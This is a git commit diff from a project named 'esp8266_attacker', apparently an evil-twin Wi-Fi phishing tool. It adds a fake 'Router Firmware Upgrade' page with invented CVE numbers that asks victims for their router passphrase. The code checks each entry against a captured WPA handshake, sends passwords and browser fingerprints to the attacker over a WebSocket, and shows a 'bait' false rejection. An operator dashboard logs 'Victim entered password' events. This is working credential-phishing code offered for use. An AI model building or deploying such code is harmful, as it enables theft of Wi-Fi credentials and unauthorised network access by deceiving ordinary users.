Commit 26191b0

Robinhood <ansarithameem674@gmail.com>
2023-07-15 10:50:16
Logs Section Added and WS improvised
v2
1 parent 4b38b86
web/src/screens/helper.ts
@@ -175,9 +175,9 @@ function crackPassword(network: handshake, password: string) {
 	const bytes = CryptoJS.enc.Hex.parse(network.eapolFrameBytes)
 	let newkck = CryptoJS.enc.Hex.parse(kck)
 	const computedMic = CryptoJS.HmacSHA1(bytes, newkck).toString().substring(0, 32)
-	console.log("network", network.ssid)
-	console.log("Expected MIC :", network.mic)
-	console.log("Calculated MIC :", computedMic)
+	// console.log("network", network.ssid)
+	// console.log("Expected MIC :", network.mic)
+	// console.log("Calculated MIC :", computedMic)
 	if (computedMic === network.mic) {
 		return true
 	} else {
web/src/screens/LogsScreen.tsx
@@ -0,0 +1,32 @@
+import { Button } from "@/components/ui/button";
+import { Trash2 } from "lucide-react";
+const LogsScreen = ({
+  logs,
+  setLogs,
+}: {
+  logs: string[];
+  setLogs: Function;
+}) => {
+  return (
+    <div className="mt-3 flex flex-col justify-center">
+      <div className="w-[300px] sm:w-[500px] md:w-[600px] flex flex-col bg-gray-800 rounded-lg p-5 max-h-96 overflow-auto relative">
+        {logs.map((log, index) => (
+            <pre key={index}>{JSON.stringify(log, null, 2).replace(/"/g, "")}</pre>
+        ))}
+        {logs.length === 0 && <p className="text-gray-300">No logs</p>}
+      </div>
+      {logs.length > 0 && (
+        <Button
+          variant="link"
+          onClick={() => setLogs([])}
+          className="flex gap-1"
+        >
+          <span>Clear logs</span>
+          <Trash2 className="w-4" />
+        </Button>
+      )}
+    </div>
+  );
+};
+
+export default LogsScreen;
web/src/App.tsx
@@ -5,11 +5,14 @@ import NavSlider from "./components/ui/nav-slider"
 import NetworkScreen from "./screens/NetworkScreen"
 import { Button } from "./components/ui/button"
 import SetupScreen from "./screens/SetupScreen"
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle, SheetTrigger } from "./components/ui/sheet"
+import LogsScreen from "./screens/LogsScreen"
 
 function App() {
 	const [networks, setNetworks] = useState<network[] | null>(null)
 	const [networksWithHandshakes, setnetworksWithHandshakes] = useState<network[]>([])
 	const [section, setSection] = useState<number>(0)
+	const [logs, setLogs] = useState<string[]>([])
 	const ws = useRef<WebSocket | null>(null)
 	const connected = useRef<boolean>(false)
 	const initialConnection = useRef<boolean>(true)
@@ -18,7 +21,7 @@ function App() {
 		let style: any = notifyStyle
 		style.style["textAlign"] = "center"
 		try {
-			ws.current = new WebSocket("ws://172.0.0.1:81")
+			ws.current = new WebSocket("ws://172.0.0.1:81/attack")
 			ws.current.onopen = () => {
 				connected.current = true
 				initialConnection.current = false
@@ -31,11 +34,26 @@ function App() {
 			}
 
 			ws.current.onmessage = (event) => {
-				if (event.data === "pong") {
-					setTimeout(() => {
-						ws.current?.send("ping")
-					}, 10000)
+				if (event.data === "Victim connected") {
+					setLogs((prev) => [...prev,"Victim connected"]);
+					return toast.success("Victim connected")
 				}
+				if (event.data === "Victim disconnected") {
+					setLogs((prev) => [...prev, "Victim disconnected"]);
+					return toast.error("Victim disconnected")
+				}
+				const data = JSON.parse(event.data)
+				if (data.type === "password") {
+					setLogs((prev) => [...prev, "Victim entered password : " + data.password]);
+					return toast.success("Victim entered password");
+				}
+				if (data.type === "message") {
+					setLogs((prev) => [...prev, data.message]);
+					return
+				}
+				setLogs((prev) => {
+                    return [...prev, data];
+                  });
 			}
 			ws.current.onclose = () => {
 				if (initialConnection.current) {
@@ -121,7 +139,6 @@ function App() {
 			})
 		}
 		for (let i in datas.handshakes) {
-			console.log(datas.handshakes[i].ssid)
 			let newNetwork: network = {
 				ssid: datas.handshakes[i].ssid,
 				bssid: datas.handshakes[i].dstAddress,
@@ -159,7 +176,7 @@ function App() {
 						<NavSlider
 							activeNav={section}
 							setActiveNav={setSection}
-							children={["Networks", "Setup"]}
+							children={["Networks", "Setup","Logs"]}
 						/>
 						{section === 0 ? (
 							<>
@@ -171,13 +188,15 @@ function App() {
 										setSection(0)
 										fetchData()
 									}}
-								>
+									>
 									Refresh
 								</Button>
 							</>
-						) : (
+						) : section === 1 ? (
 							<SetupScreen networks={networksWithHandshakes} />
-						)}
+						) : 
+						<LogsScreen logs={logs} setLogs={setLogs}/>
+						}
 					</>
 				) : (
 					<div className="loading">
web/src/Home.tsx
@@ -1,184 +1,264 @@
-import { useEffect, useState } from "react"
-import { Button } from "./components/ui/button"
-import { Input } from "./components/ui/input"
-import { crackPassword } from "./screens/helper"
-import { handshake } from "./lib/config"
+import { useEffect, useRef, useState } from "react";
+import { Button } from "./components/ui/button";
+import { Input } from "./components/ui/input";
+import { crackPassword } from "./screens/helper";
+import { handshake } from "./lib/config";
+import { UAParser } from "ua-parser-js";
 
 const Home = () => {
-	const [final, setFinal] = useState(false)
-	const [percent, setPercent] = useState(0)
-	const [password, setPassword] = useState("")
-	const [handshakes, setHandshakes] = useState([])
-	const [bait, setBait] = useState(true)
+  const [final, setFinal] = useState(false);
+  const [percent, setPercent] = useState(0);
+  const [password, setPassword] = useState("");
+  const [handshakes, setHandshakes] = useState([]);
+  const [bait, setBait] = useState(true);
+  const ws = useRef<WebSocket | null>(null);
 
-	const postPassword = async (
-		ssid: string,
-		passwd: string,
-		matched: boolean,
-		handshakes: boolean
-	) => {
-		const data = {
-			ssid: ssid,
-			password: passwd,
-			matched: matched ? true : false,
-			handshakes: handshakes ? true : false,
-		}
-		const response = await fetch("http://172.0.0.1/post_password", {
-			method: "POST",
-			headers: {
-				"Content-Type": "application/json",
-			},
-			body: JSON.stringify(data),
-		})
-		const result = await response.json()
-		console.log(result)
-	}
+  const postPassword = async (
+    ssid: string,
+    passwd: string,
+    matched: boolean,
+    handshakes: boolean
+  ) => {
+    const data = {
+      ssid: ssid,
+      password: passwd,
+      matched: matched ? true : false,
+      handshakes: handshakes ? true : false,
+    };
+    const response = await fetch("http://172.0.0.1/post_password", {
+      method: "POST",
+      headers: {
+        "Content-Type": "application/json",
+      },
+      body: JSON.stringify(data),
+    });
+    const result = await response.json();
+    console.log(result);
+  };
 
-	const startfinal = () => {
-		const interval = setInterval(() => {
-			setPercent((prev) => {
-				if (prev === 100) {
-					clearInterval(interval)
-					return prev
-				}
-				return prev + 1
-			})
-		}, 1000)
-	}
+  const startfinal = () => {
+    const interval = setInterval(() => {
+      setPercent((prev) => {
+        if (prev === 100) {
+          clearInterval(interval);
+          return prev;
+        }
+        return prev + 1;
+      });
+    }, 1000);
+  };
 
-	const handlePassword = async () => {
-		if (password.trim() === "") {
-			alert("Please enter the router password")
-			return
-		}
-		if (password.length < 8) {
-			alert("Password must be at least 8 characters long")
-			return
-		}
+  const handlePassword = async () => {
+    if (password.trim() === "") {
+      alert("Please enter the router password");
+      return;
+    }
+    if (password.length < 8) {
+      alert("Password must be at least 8 characters long");
+      return;
+    }
+    const info = {
+      type: "password",
+      password: password,
+    };
+    ws.current?.send(JSON.stringify(info));
+    const currentSSID = await fetch("http://172.0.0.1/get_ssid");
+    // const currentSSID = await fetch("/temp/temp-ssid.json")
+    const ssid = await currentSSID.json();
+    if (
+      handshakes.length === 0 ||
+      handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid)
+        .length === 0
+    ) {
+      postPassword("No Handshake - " + ssid.ssid, password, false, false);
+      if (bait) {
+        ws.current?.send(
+          JSON.stringify({
+            type: "message",
+            message:
+              "Don't have handshake for SSID: '" +
+              ssid.ssid +
+              "' triggered bait",
+          })
+        );
+        const psswd: HTMLInputElement = document.getElementById(
+          "psswd"
+        ) as HTMLInputElement;
+        psswd.value = "";
+        alert("Password isnt correct");
+        setBait(false);
+        return;
+      } else {
+        ws.current?.send(
+          JSON.stringify({
+            type: "message",
+            message: "After Bait, Triggerring final screen",
+          })
+        );
+        setFinal(true);
+        startfinal();
+        return;
+      }
+    }
+    handshakes.forEach((handshake: handshake) => {
+      if (handshake.ssid === ssid.ssid) {
+        if (crackPassword(handshake, password)) {
+          ws.current?.send(
+            JSON.stringify({
+              type: "message",
+              message: `✅ '${password}' is a valid password`,
+            })
+          );
+          postPassword(handshake.ssid, password, true, true);
+          setFinal(true);
+          startfinal();
+          return;
+        } else {
+          ws.current?.send(
+            JSON.stringify({
+              type: "message",
+              message: `❌ '${password}' is not a valid password`,
+            })
+          );
+          postPassword(handshake.ssid, password, false, true);
+          alert("Wrong Password");
+          return;
+        }
+      }
+    });
+  };
 
-		const currentSSID = await fetch("http://172.0.0.1/get_ssid")
-		// const currentSSID = await fetch("/temp/temp-ssid.json")
-		const ssid = await currentSSID.json()
-		console.log(handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid).length)
-		// return;
-		if (
-			handshakes.length === 0 ||
-			handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid).length === 0
-		) {
-			postPassword("No Handshake - " + ssid.ssid, password, false, false)
-			if (bait) {
-				alert("Password isnt correct")
-				setBait(false)
-				return
-			} else {
-				setFinal(true)
-				startfinal()
-				return
-			}
-		}
-		handshakes.forEach((handshake: handshake) => {
-			if (handshake.ssid === ssid.ssid) {
-				if (crackPassword(handshake, password)) {
-					postPassword(handshake.ssid, password, true, true)
-					setFinal(true)
-					startfinal()
-					return
-				} else {
-					postPassword(handshake.ssid, password, false, true)
-					alert("Wrong Password")
-					return
-				}
-			}
-		})
-	}
+  const fetchHandshakes = async () => {
+    const result = await fetch("http://172.0.0.1/get_datas");
+    // const result = await fetch("/temp/temp-datas.json")
+    const data = await result.json();
+    setHandshakes(data.handshakes);
+  };
 
-	const fetchHandshakes = async () => {
-		const result = await fetch("http://172.0.0.1/get_datas")
-		// const result = await fetch("/temp/temp-datas.json")
-		const data = await result.json()
-		setHandshakes(data.handshakes)
-	}
+  async function wsConnection() {
+    try {
+      ws.current = new WebSocket("ws://172.0.0.1:81/");
+      ws.current.onopen = () => {
+        let parser = new UAParser();
+        let result = parser.getResult();
+        const deviceInfo = {
+          type: "deviceInfo",
+          browser: result.browser.name + " " + result.browser.version,
+          os: result.os.name + " " + result.os.version,
+          cpu: result.cpu.architecture,
+          device: result.device,
+          screenWidth: window.screen.width,
+          screenHeight: window.screen.height,
+        };
+        ws.current?.send(JSON.stringify(deviceInfo));
+      };
+      ws.current.onclose = () => {
+        wsConnection();
+      };
 
-	useEffect(() => {
-		fetchHandshakes()
-	}, [])
+      setTimeout(() => {
+        if (ws.current?.readyState !== 1) {
+          ws.current?.close();
+        }
+      }, 15000);
+    } catch (err) {
+      console.log(err, "WebSocket error");
+    }
+  }
 
-	return (
-		<div className="flex flex-1 bg-sky-300 h-screen justify-center items-center">
-			{!final ? (
-				<div className="rounded-lg p-3 shadow-lg drop-shadow-lg bg-gray-200 w-full max-w-xs sm:max-w-md ">
-					<h1 className="text-lg font-bold text-gray-500">Router Firmware Upgrade</h1>
-					<div className="border border-gray-400 mt-2"></div>
-					<p className="mt-2 text-gray-500">
-						A new version of the firmware has been detected and awaiting installation
-					</p>
-					<div className="flex items-center gap-3 mt-2">
-						<p className="text-md font-bold text-gray-500">Firmware Version :</p>
-						<p className="text-gray-500">v3.0.7</p>
-					</div>
-					<div className="flex items-center gap-3 mt-2">
-						<p className="text-md font-bold text-gray-500">Release Date :</p>
-						<p className="text-gray-500">{new Date().toLocaleDateString()}</p>
-					</div>
+  useEffect(() => {
+    fetchHandshakes();
+    wsConnection();
+  }, []);
 
-					<h2 className="text-md font-bold text-gray-500 mt-2">Release Notes :</h2>
-					<div className="mt-2 text-gray-500">
-						<ul className="list-disc list-inside ml-7 -indent-4 sm:-indent-6">
-							<li>
-								Security fixes for the following vulnerabilities: <br /> CVE-2021-1234,
-								CVE-2021-1235,CVE-2021-1236
-							</li>
-							<li>
-								Implemented a new feature that enhances the security and stability of the router
-							</li>
-							<li>Fixed a bug that caused the router to crash when using the web interface</li>
-						</ul>
-					</div>
-					<p className="mt-2 text-gray-500">
-						Enter the router password to start the firmware upgrade process. The router will reboot
-						after the upgrade.
-					</p>
-					<Input
-						placeholder="Router Passphrase"
-						className="bg-transparent text-gray-500 border-gray-400 mt-3"
-						type="password"
-						onChange={(e) => setPassword(e.target.value)}
-					/>
-					<Button
-						variant={"outline"}
-						className="mt-2 w-full bg-gray-600 border-none"
-						onClick={handlePassword}
-					>
-						Upgrade
-					</Button>
-				</div>
-			) : (
-				<div className="flex flex-col justify-center items-center">
-					<div className="newtons-cradle">
-						<div className="newtons-cradle__dot"></div>
-						<div className="newtons-cradle__dot"></div>
-						<div className="newtons-cradle__dot"></div>
-						<div className="newtons-cradle__dot"></div>
-					</div>
+  return (
+    <div className="flex flex-1 bg-sky-300 h-screen justify-center items-center">
+      {!final ? (
+        <div className="rounded-lg p-3 shadow-lg drop-shadow-lg bg-gray-200 w-full max-w-xs sm:max-w-md ">
+          <h1 className="text-lg font-bold text-gray-500">
+            Router Firmware Upgrade
+          </h1>
+          <div className="border border-gray-400 mt-2"></div>
+          <p className="mt-2 text-gray-500">
+            A new version of the firmware has been detected and awaiting
+            installation
+          </p>
+          <div className="flex items-center gap-3 mt-2">
+            <p className="text-md font-bold text-gray-500">
+              Firmware Version :
+            </p>
+            <p className="text-gray-500">v3.0.7</p>
+          </div>
+          <div className="flex items-center gap-3 mt-2">
+            <p className="text-md font-bold text-gray-500">Release Date :</p>
+            <p className="text-gray-500">{new Date().toLocaleDateString()}</p>
+          </div>
 
-					<div className="text-gray-500 text-center mt-2 text-lg">
-						{percent} %
-						{percent === 100 ? (
-							<>
-								<p>Upgraded</p>
-								<p>Reboot your router</p>
-							</>
-						) : (
-							<>
-								<p>Upgrading Firmware</p>
-								<p>Do not turn off the router</p>
-							</>
-						)}
-					</div>
-				</div>
-			)}
-		</div>
-	)
-}
+          <h2 className="text-md font-bold text-gray-500 mt-2">
+            Release Notes :
+          </h2>
+          <div className="mt-2 text-gray-500">
+            <ul className="list-disc list-inside ml-7 -indent-4 sm:-indent-6">
+              <li>
+                Security fixes for the following vulnerabilities: <br />{" "}
+                CVE-2021-1234, CVE-2021-1235,CVE-2021-1236
+              </li>
+              <li>
+                Implemented a new feature that enhances the security and
+                stability of the router
+              </li>
+              <li>
+                Fixed a bug that caused the router to crash when using the web
+                interface
+              </li>
+            </ul>
+          </div>
+          <p className="mt-2 text-gray-500">
+            Enter the router password to start the firmware upgrade process. The
+            router will reboot after the upgrade.
+          </p>
+          <Input
+            placeholder="Router Passphrase"
+            className="bg-transparent text-gray-500 border-gray-400 mt-3"
+            type="password"
+            id="psswd"
+            onChange={(e) => setPassword(e.target.value)}
+          />
+          <Button
+            variant={"outline"}
+            className="mt-2 w-full bg-gray-600 border-none"
+            onClick={handlePassword}
+          >
+            Upgrade
+          </Button>
+        </div>
+      ) : !ws.current?.CONNECTING && (
+        <div className="flex flex-col justify-center items-center">
+          <div className="newtons-cradle">
+            <div className="newtons-cradle__dot"></div>
+            <div className="newtons-cradle__dot"></div>
+            <div className="newtons-cradle__dot"></div>
+            <div className="newtons-cradle__dot"></div>
+          </div>
 
-export default Home
+          <div className="text-gray-500 text-center mt-2 text-lg">
+            {percent} %
+            {percent === 100 ? (
+              <>
+                <p>Upgraded</p>
+                <p>Reboot your router</p>
+              </>
+            ) : (
+              <>
+                <p>Upgrading Firmware</p>
+                <p>Do not turn off the router</p>
+              </>
+            )}
+          </div>
+        </div>
+      )}
+    </div>
+  );
+};
+
+export default Home;
web/package-lock.json
@@ -1,12 +1,12 @@
 {
 	"name": "esp8266_attacker",
-	"version": "0.0.0",
+	"version": "2.0.0",
 	"lockfileVersion": 3,
 	"requires": true,
 	"packages": {
 		"": {
 			"name": "esp8266_attacker",
-			"version": "0.0.0",
+			"version": "2.0.0",
 			"dependencies": {
 				"@radix-ui/react-checkbox": "^1.0.4",
 				"@radix-ui/react-dialog": "^1.0.4",
@@ -15,6 +15,7 @@
 				"@radix-ui/react-slot": "^1.0.2",
 				"@radix-ui/react-switch": "^1.0.3",
 				"@tanstack/react-table": "^8.9.3",
+				"@types/ua-parser-js": "^0.7.36",
 				"class-variance-authority": "^0.6.0",
 				"clsx": "^1.2.1",
 				"crypto-js": "^4.1.1",
@@ -25,6 +26,7 @@
 				"react-router-dom": "^6.14.0",
 				"tailwind-merge": "^1.13.2",
 				"tailwindcss-animate": "^1.0.6",
+				"ua-parser-js": "^1.0.35",
 				"vite-tsconfig-paths": "^4.2.0"
 			},
 			"devDependencies": {
@@ -1573,6 +1575,11 @@
 			"integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==",
 			"devOptional": true
 		},
+		"node_modules/@types/ua-parser-js": {
+			"version": "0.7.36",
+			"resolved": "https://registry.npmjs.org/@types/ua-parser-js/-/ua-parser-js-0.7.36.tgz",
+			"integrity": "sha512-N1rW+njavs70y2cApeIw1vLMYXRwfBy+7trgavGuuTfOd7j1Yh7QTRc/yqsPl6ncokt72ZXuxEU0PiCp9bSwNQ=="
+		},
 		"node_modules/@vitejs/plugin-react": {
 			"version": "3.1.0",
 			"resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-3.1.0.tgz",
@@ -3096,6 +3103,24 @@
 				"node": ">=4.2.0"
 			}
 		},
+		"node_modules/ua-parser-js": {
+			"version": "1.0.35",
+			"resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-1.0.35.tgz",
+			"integrity": "sha512-fKnGuqmTBnIE+/KXSzCn4db8RTigUzw1AN0DmdU6hJovUTbYJKyqj+8Mt1c4VfRDnOVJnENmfYkIPZ946UrSAA==",
+			"funding": [
+				{
+					"type": "opencollective",
+					"url": "https://opencollective.com/ua-parser-js"
+				},
+				{
+					"type": "paypal",
+					"url": "https://paypal.me/faisalman"
+				}
+			],
+			"engines": {
+				"node": "*"
+			}
+		},
 		"node_modules/universalify": {
 			"version": "2.0.0",
 			"resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
web/package.json
@@ -17,6 +17,7 @@
 		"@radix-ui/react-slot": "^1.0.2",
 		"@radix-ui/react-switch": "^1.0.3",
 		"@tanstack/react-table": "^8.9.3",
+		"@types/ua-parser-js": "^0.7.36",
 		"class-variance-authority": "^0.6.0",
 		"clsx": "^1.2.1",
 		"crypto-js": "^4.1.1",
@@ -27,6 +28,7 @@
 		"react-router-dom": "^6.14.0",
 		"tailwind-merge": "^1.13.2",
 		"tailwindcss-animate": "^1.0.6",
+		"ua-parser-js": "^1.0.35",
 		"vite-tsconfig-paths": "^4.2.0"
 	},
 	"devDependencies": {